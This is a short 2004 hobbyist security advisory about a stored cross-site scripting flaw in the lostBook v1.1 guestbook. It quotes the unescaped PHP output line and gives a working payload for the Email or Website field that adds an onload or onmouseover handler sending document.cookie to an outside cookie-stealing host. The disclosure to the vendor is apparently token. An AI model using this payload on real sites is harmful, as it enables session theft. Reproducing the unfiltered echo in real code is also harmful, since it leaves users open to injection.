lostBook v1.1 Javascript Execution
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Product: lostBook
vendor: veryLost (verylost.tk)
Affected Versions: 1.1 and lower
Description: A simple flat db guestbook
Vulnerabilities: XSS
Date: July 29, 2004
Vuln Finder: r3d5pik3 (me)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1.) About
2.) Javascript Execution
3.) Vendor Notice
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ About ] oOoOoOo(O_o)
Ok the only reason i consider this javascript execution instead of XSS. Is
simply because you cant inject html like you can in most XSS vulnrabilities.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ JScript Execution ] oOoOoOo(O_o)
On the write entry page of the guest book there are 4 fields: Name, Email,
Website, Entry. The Email and Website feild go through no filtering, and a
malicous hacker could use that to insert javascript.
Example:
The Website data gets parsed like so
if(isset($web) && $web != "" && $web != " ") echo ' <a href="'.$web.'"><img
src="'.$path2files.'website.gif" border="0" alt="'.$web.'"></a>';
An attacker would go about injecting xss by the following ways.
Inputting the following into either email or website field.
r3d5pik3.com"
onload="document.location='http://www.cookiestealer.com?cookie='+document.cookie
if onload doesnt work they could simply use onmouseover instead
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ Vendor Notification ] oOoOoOo(O_o)
A couple seconds ago.
-r3d5pik3
ph33r t3h r3d 1z !!!